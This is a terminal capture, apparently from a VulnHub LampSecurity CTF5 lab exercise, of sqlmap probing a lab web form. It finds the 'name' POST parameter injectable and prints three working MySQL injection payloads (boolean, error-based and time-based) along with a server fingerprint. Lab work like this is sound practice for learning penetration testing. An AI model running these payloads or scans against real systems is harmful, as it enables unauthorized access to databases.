1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95
| ┌──(kali㉿kali)-[~/vulnhub/LampSecurity/ctf5/workSpace] └─$ sudo sqlmap -u http://192.168.56.139/list/ --data 'name=1&email=&phone=&org=' ___ __H__ ___ ___["]_____ ___ ___ {1.7.2#stable} |_ -| . ["] | .'| . | |___|_ [)]_|_|_|__,| _| |_|V... |_| https://sqlmap.org
[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program
[*] starting @ 15:16:57 /2023-04-27/
[15:16:57] [WARNING] provided value for parameter 'email' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly [15:16:57] [WARNING] provided value for parameter 'phone' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly [15:16:57] [WARNING] provided value for parameter 'org' is empty. Please, always use only valid parameter values so sqlmap could be able to run properly [15:16:57] [INFO] testing connection to the target URL [15:16:58] [INFO] testing if the target URL content is stable [15:16:58] [INFO] target URL content is stable [15:16:58] [INFO] testing if POST parameter 'name' is dynamic [15:16:58] [WARNING] POST parameter 'name' does not appear to be dynamic [15:16:58] [INFO] heuristic (basic) test shows that POST parameter 'name' might be injectable (possible DBMS: 'MySQL') [15:16:58] [INFO] heuristic (XSS) test shows that POST parameter 'name' might be vulnerable to cross-site scripting (XSS) attacks [15:16:58] [INFO] testing for SQL injection on POST parameter 'name' it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] [15:17:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause' [15:17:06] [WARNING] reflective value(s) found and filtering out [15:17:06] [INFO] testing 'Boolean-based blind - Parameter replace (original value)' [15:17:06] [INFO] testing 'Generic inline queries' [15:17:06] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause (MySQL comment)' [15:17:06] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (MySQL comment)' [15:17:07] [INFO] testing 'OR boolean-based blind - WHERE or HAVING clause (NOT - MySQL comment)' [15:17:07] [INFO] testing 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' [15:17:07] [INFO] POST parameter 'name' appears to be 'MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause' injectable (with --string="to") [15:17:07] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)' [15:17:07] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)' [15:17:07] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)' [15:17:07] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)' [15:17:07] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)' [15:17:07] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)' [15:17:07] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)' [15:17:07] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)' [15:17:07] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [15:17:07] [INFO] testing 'MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [15:17:07] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [15:17:07] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXTRACTVALUE)' [15:17:07] [INFO] testing 'MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [15:17:07] [INFO] testing 'MySQL >= 5.1 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (UPDATEXML)' [15:17:07] [INFO] testing 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' [15:17:07] [INFO] POST parameter 'name' is 'MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable [15:17:07] [INFO] testing 'MySQL inline queries' [15:17:07] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)' [15:17:07] [INFO] testing 'MySQL >= 5.0.12 stacked queries' [15:17:07] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)' [15:17:07] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)' [15:17:07] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK - comment)' [15:17:07] [INFO] testing 'MySQL < 5.0.12 stacked queries (BENCHMARK)' [15:17:07] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' [15:17:17] [INFO] POST parameter 'name' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable [15:17:17] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns' [15:17:17] [INFO] testing 'MySQL UNION query (NULL) - 1 to 20 columns' [15:17:17] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found [15:17:17] [INFO] testing 'MySQL UNION query (random number) - 1 to 20 columns' [15:17:17] [INFO] testing 'MySQL UNION query (NULL) - 21 to 40 columns' [15:17:18] [INFO] testing 'MySQL UNION query (random number) - 21 to 40 columns' [15:17:18] [INFO] testing 'MySQL UNION query (NULL) - 41 to 60 columns' [15:17:18] [INFO] testing 'MySQL UNION query (random number) - 41 to 60 columns' [15:17:18] [INFO] testing 'MySQL UNION query (NULL) - 61 to 80 columns' [15:17:18] [INFO] testing 'MySQL UNION query (random number) - 61 to 80 columns' [15:17:18] [INFO] testing 'MySQL UNION query (NULL) - 81 to 100 columns' [15:17:18] [INFO] testing 'MySQL UNION query (random number) - 81 to 100 columns' POST parameter 'name' is vulnerable. Do you want to keep testing the others (if any)? [y/N] sqlmap identified the following injection point(s) with a total of 396 HTTP(s) requests: --- Parameter: name (POST) Type: boolean-based blind Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY clause Payload: name=1' RLIKE (SELECT (CASE WHEN (3453=3453) THEN 1 ELSE 0x28 END))-- fkrZ&email=&phone=&org=
Type: error-based Title: MySQL >= 4.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR) Payload: name=1' AND ROW(9202,7421)>(SELECT COUNT(*),CONCAT(0x716b766271,(SELECT (ELT(9202=9202,1))),0x7171627a71,FLOOR(RAND(0)*2))x FROM (SELECT 5809 UNION SELECT 6254 UNION SELECT 2907 UNION SELECT 3295)a GROUP BY x)-- lorR&email=&phone=&org=
Type: time-based blind Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP) Payload: name=1' AND (SELECT 6598 FROM (SELECT(SLEEP(5)))WnCm)-- cXmx&email=&phone=&org= --- [15:17:23] [INFO] the back-end DBMS is MySQL web server operating system: Linux Fedora 6 or 8 or 7 (Moonshine or Zod or Werewolf) web application technology: Apache 2.2.6, PHP 5.2.4 back-end DBMS: MySQL >= 4.1 [15:17:23] [INFO] fetched data logged to text files under '/root/.local/share/sqlmap/output/192.168.56.139'
[*] ending @ 15:17:23 /2023-04-27/
|